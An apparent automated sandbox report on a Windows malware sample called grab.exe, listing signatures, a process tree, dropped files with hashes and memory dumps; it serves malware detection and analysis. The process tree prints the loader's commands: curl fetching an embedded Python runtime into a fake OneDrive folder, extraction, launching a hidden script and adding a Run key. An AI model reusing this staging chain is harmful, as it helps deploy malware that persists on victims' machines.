Analysis

  • max time kernel
    148s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 00:16

General

  • Target
    grab.exe
  • Size 1.2MB
  • Sample260930-akl2tssdnb
  • SHA256 5b95b1492af328a055ae706c5fe8ddd6961839173aaecfbc3a76433af66ea612
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 16 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grab.exe
    "C:\Users\Admin\AppData\Local\Temp\grab.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5620
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c curl.exe -L --fail --retry 2 --retry-delay 2 --connect-timeout 30 --max-time 600 -o "C:\ProgramData\OneDriveDesktop\python.zip" "https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2472
      • C:\Windows\system32\curl.exe
        curl.exe -L --fail --retry 2 --retry-delay 2 --connect-timeout 30 --max-time 600 -o "C:\ProgramData\OneDriveDesktop\python.zip" "https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip"
        3⤵
          PID:1340
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c tar.exe -xf "C:\ProgramData\OneDriveDesktop\python.zip" -C "C:\ProgramData\OneDriveDesktop"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2380
        • C:\Windows\system32\tar.exe
          tar.exe -xf "C:\ProgramData\OneDriveDesktop\python.zip" -C "C:\ProgramData\OneDriveDesktop"
          3⤵
            PID:4104
        • C:\ProgramData\OneDriveDesktop\pythonw.exe
          "C:\ProgramData\OneDriveDesktop\pythonw.exe" "C:\ProgramData\OneDriveDesktop\DesktopData.py" """C:\ProgramData\OneDriveDesktop\pythonw.exe"" ""C:\ProgramData\OneDriveDesktop\DesktopData.py""" "DesktopData"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetWindowsHookEx
          PID:5160
      • C:\ProgramData\OneDriveDesktop\pythonw.exe
        "C:\ProgramData\OneDriveDesktop\pythonw.exe" "C:\ProgramData\OneDriveDesktop\DesktopData.py"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        PID:352

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            DesktopData.py

            • Path C:\ProgramData\OneDriveDesktop\DesktopData.py
            • Size 899KB
            • SHA256 4861928af0814c293f64359745a42923ef92d4739342939af59e69381057516a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            VCRUNTIME140.dll

            • Path C:\ProgramData\OneDriveDesktop\VCRUNTIME140.dll
            • Size 106KB
            • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ctypes.pyd

            • Path C:\ProgramData\OneDriveDesktop\_ctypes.pyd
            • Size 121KB
            • SHA256 bc3b83d2dc9e2f0e6386ed952384c6cf48f6eed51129a50dfd5ef6cbbc0a8fb3
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _hashlib.pyd

            • Path C:\ProgramData\OneDriveDesktop\_hashlib.pyd
            • Size 63KB
            • SHA256 e47e76d70d508b62924fe480f30e615b12fdd7745c0aac68a2cddabd07b692ae
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libcrypto-3.dll

            • Path C:\ProgramData\OneDriveDesktop\libcrypto-3.dll
            • Size 4.9MB
            • SHA256 2a234b5aa20c3faecf725bbb54fb33f3d94543f78fa7045408e905593e49960a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libffi-8.dll

            • Path C:\ProgramData\OneDriveDesktop\libffi-8.dll
            • Size 38KB
            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python.zip

            • Path C:\ProgramData\OneDriveDesktop\python.zip
            • Size 10.5MB
            • SHA256 c87f000e3dae1a572e98e81daeb622f8bc6f22664093fc9c70989b5f0018d49b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python3.DLL

            • Path C:\ProgramData\OneDriveDesktop\python3.DLL
            • Size 66KB
            • SHA256 1e9224ba7190b6301ef47befa8e383d0c55700255d04a36f7dac88ea9573f2fb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python312._pth

            • Path C:\ProgramData\OneDriveDesktop\python312._pth
            • Size 80B
            • SHA256 2820f241bc9d6810d4db21c21cca3845799367fbdf0199620fb37c86a74b945c
            • MD5 SHA1 SHA512 TLSH

            python312.dll

            • Path C:\ProgramData\OneDriveDesktop\python312.dll
            • Size 6.6MB
            • SHA256 e7890e38256f04ee0b55ac5276bbf3ac61392c3a3ce150bb5497b709803e17ce
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python312.zip

            • Path C:\ProgramData\OneDriveDesktop\python312.zip
            • Size 3.6MB
            • SHA256 6b53e0fd67a30a482941aa3a205811d8287c0b36399bfa9542d9070c3afaf2ae
            • MD5 SHA1 SHA512 SSDEEP TLSH

            pythonw.exe

            • Path C:\ProgramData\OneDriveDesktop\pythonw.exe
            • Size 99KB
            • SHA256 2198767147bdf67a45da63ad9a35900b4ca8e628fedca13873ae50cf5805c810
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/5160-124-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-119-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-73-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-67-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-70-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-68-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-69-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-85-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-78-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-84-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-83-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-80-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-77-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-76-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-75-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-74-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-89-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-86-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-107-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-131-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-130-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-129-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-128-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-127-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-126-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-125-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-66-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-123-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-122-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-121-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-120-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-72-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-112-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-118-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-117-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-116-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-115-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-114-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-113-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-111-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-110-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-109-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-108-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-106-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-105-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-104-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-103-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-102-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-101-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-100-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-99-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-98-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-97-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-96-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-95-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-93-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-91-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-92-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-90-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-88-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-87-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-82-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-81-0x00000205C9670000-0x00000205C96DF000-memory.dmp

            memory/5160-79-0x00000205C9670000-0x00000205C96DF000-memory.dmp